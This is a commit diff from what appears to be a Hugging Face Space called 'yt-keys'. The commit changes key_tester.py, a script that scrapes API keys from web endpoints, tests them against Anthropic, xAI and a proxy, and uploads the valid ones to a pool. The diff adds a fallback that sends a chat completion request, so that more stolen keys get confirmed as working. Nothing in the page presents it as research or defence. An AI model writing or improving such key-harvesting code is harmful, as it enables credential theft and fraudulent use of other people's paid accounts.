Spaces:
Runtime error
Runtime error
Add debug logging + fallback to /chat/completions for key verification
Browse files- key_tester.py +42 -4
key_tester.py
CHANGED
|
@@ -1,5 +1,5 @@
|
|
| 1 |
#!/usr/bin/env python3
|
| 2 |
-
"""key_tester.py
|
| 3 |
import json, os, re, time, math, urllib.request, urllib.error, ssl
|
| 4 |
from pathlib import Path
|
| 5 |
|
|
@@ -173,7 +173,12 @@ def scrape_web_endpoints():
|
|
| 173 |
time.sleep(0.5)
|
| 174 |
return keys
|
| 175 |
|
|
|
|
|
|
|
|
|
|
| 176 |
def test_key(key, provider):
|
|
|
|
|
|
|
| 177 |
if provider == "anthropic":
|
| 178 |
url = "https://api.anthropic.com/v1/models"
|
| 179 |
headers = {"x-api-key": key, "anthropic-version": "2023-06-01"}
|
|
@@ -187,15 +192,48 @@ def test_key(key, provider):
|
|
| 187 |
url = "https://api.x.ai/v1/models"
|
| 188 |
headers = {"Authorization": f"Bearer {key}"}
|
| 189 |
else:
|
|
|
|
| 190 |
url = f"{PRIMARY_PROXY}/models"
|
| 191 |
headers = {"Authorization": f"Bearer {key}"}
|
|
|
|
| 192 |
try:
|
| 193 |
req = urllib.request.Request(url, headers=headers)
|
| 194 |
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
| 195 |
return r.status == 200
|
| 196 |
except urllib.error.HTTPError as e:
|
| 197 |
-
|
| 198 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 199 |
|
| 200 |
def upload_pool(verified):
|
| 201 |
ordered = {p: verified.get(p, []) for p in PROVIDER_PRIORITY}
|
|
@@ -272,7 +310,7 @@ def run_cycle():
|
|
| 272 |
return
|
| 273 |
|
| 274 |
def main():
|
| 275 |
-
log("yt-keys Key Tester v3.
|
| 276 |
log(f"Primary proxy: {PRIMARY_PROXY}")
|
| 277 |
log(f"Cycle interval: {SCRAPE_INTERVAL}s | Max tests/cycle: {MAX_TESTS_PER_CYCLE}")
|
| 278 |
while True:
|
|
|
|
| 1 |
#!/usr/bin/env python3
|
| 2 |
+
"""key_tester.py — yt-keys HF Space (v3.1 + debug)"""
|
| 3 |
import json, os, re, time, math, urllib.request, urllib.error, ssl
|
| 4 |
from pathlib import Path
|
| 5 |
|
|
|
|
| 173 |
time.sleep(0.5)
|
| 174 |
return keys
|
| 175 |
|
| 176 |
+
# ------------------------------------------------------------
|
| 177 |
+
# FIXED test_key with debug logging and fallback endpoint
|
| 178 |
+
# ------------------------------------------------------------
|
| 179 |
def test_key(key, provider):
|
| 180 |
+
"""Return True/False/None, with detailed logging."""
|
| 181 |
+
# Determine primary URL
|
| 182 |
if provider == "anthropic":
|
| 183 |
url = "https://api.anthropic.com/v1/models"
|
| 184 |
headers = {"x-api-key": key, "anthropic-version": "2023-06-01"}
|
|
|
|
| 192 |
url = "https://api.x.ai/v1/models"
|
| 193 |
headers = {"Authorization": f"Bearer {key}"}
|
| 194 |
else:
|
| 195 |
+
# openai / others — use proxy
|
| 196 |
url = f"{PRIMARY_PROXY}/models"
|
| 197 |
headers = {"Authorization": f"Bearer {key}"}
|
| 198 |
+
|
| 199 |
try:
|
| 200 |
req = urllib.request.Request(url, headers=headers)
|
| 201 |
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
| 202 |
return r.status == 200
|
| 203 |
except urllib.error.HTTPError as e:
|
| 204 |
+
if e.code == 429:
|
| 205 |
+
log(f" DEBUG 429 on {url}")
|
| 206 |
+
return None
|
| 207 |
+
# If /models returns 401, try /chat/completions as fallback for proxy keys
|
| 208 |
+
if provider in ("openai", "others"):
|
| 209 |
+
fallback_url = f"{PRIMARY_PROXY}/chat/completions"
|
| 210 |
+
payload = json.dumps({
|
| 211 |
+
"model": "gpt-4o",
|
| 212 |
+
"messages": [{"role": "user", "content": "hi"}],
|
| 213 |
+
"max_tokens": 5
|
| 214 |
+
}).encode()
|
| 215 |
+
fallback_headers = {
|
| 216 |
+
"Content-Type": "application/json",
|
| 217 |
+
"Authorization": f"Bearer {key}"
|
| 218 |
+
}
|
| 219 |
+
try:
|
| 220 |
+
req2 = urllib.request.Request(fallback_url, data=payload, headers=fallback_headers)
|
| 221 |
+
with urllib.request.urlopen(req2, timeout=10, context=ctx) as r2:
|
| 222 |
+
log(f" FALLBACK success on /chat/completions")
|
| 223 |
+
return True
|
| 224 |
+
except urllib.error.HTTPError as e2:
|
| 225 |
+
if e2.code == 429:
|
| 226 |
+
return None
|
| 227 |
+
log(f" DEBUG {e.code} on {url} (fallback also failed {e2.code})")
|
| 228 |
+
return False
|
| 229 |
+
except Exception as e2:
|
| 230 |
+
log(f" DEBUG network error on fallback: {e2}")
|
| 231 |
+
return None
|
| 232 |
+
log(f" DEBUG {e.code} on {url}")
|
| 233 |
+
return False
|
| 234 |
+
except Exception as e:
|
| 235 |
+
log(f" DEBUG network error on {url}: {e}")
|
| 236 |
+
return None
|
| 237 |
|
| 238 |
def upload_pool(verified):
|
| 239 |
ordered = {p: verified.get(p, []) for p in PROVIDER_PRIORITY}
|
|
|
|
| 310 |
return
|
| 311 |
|
| 312 |
def main():
|
| 313 |
+
log("yt-keys Key Tester v3.1 — debug mode")
|
| 314 |
log(f"Primary proxy: {PRIMARY_PROXY}")
|
| 315 |
log(f"Cycle interval: {SCRAPE_INTERVAL}s | Max tests/cycle: {MAX_TESTS_PER_CYCLE}")
|
| 316 |
while True:
|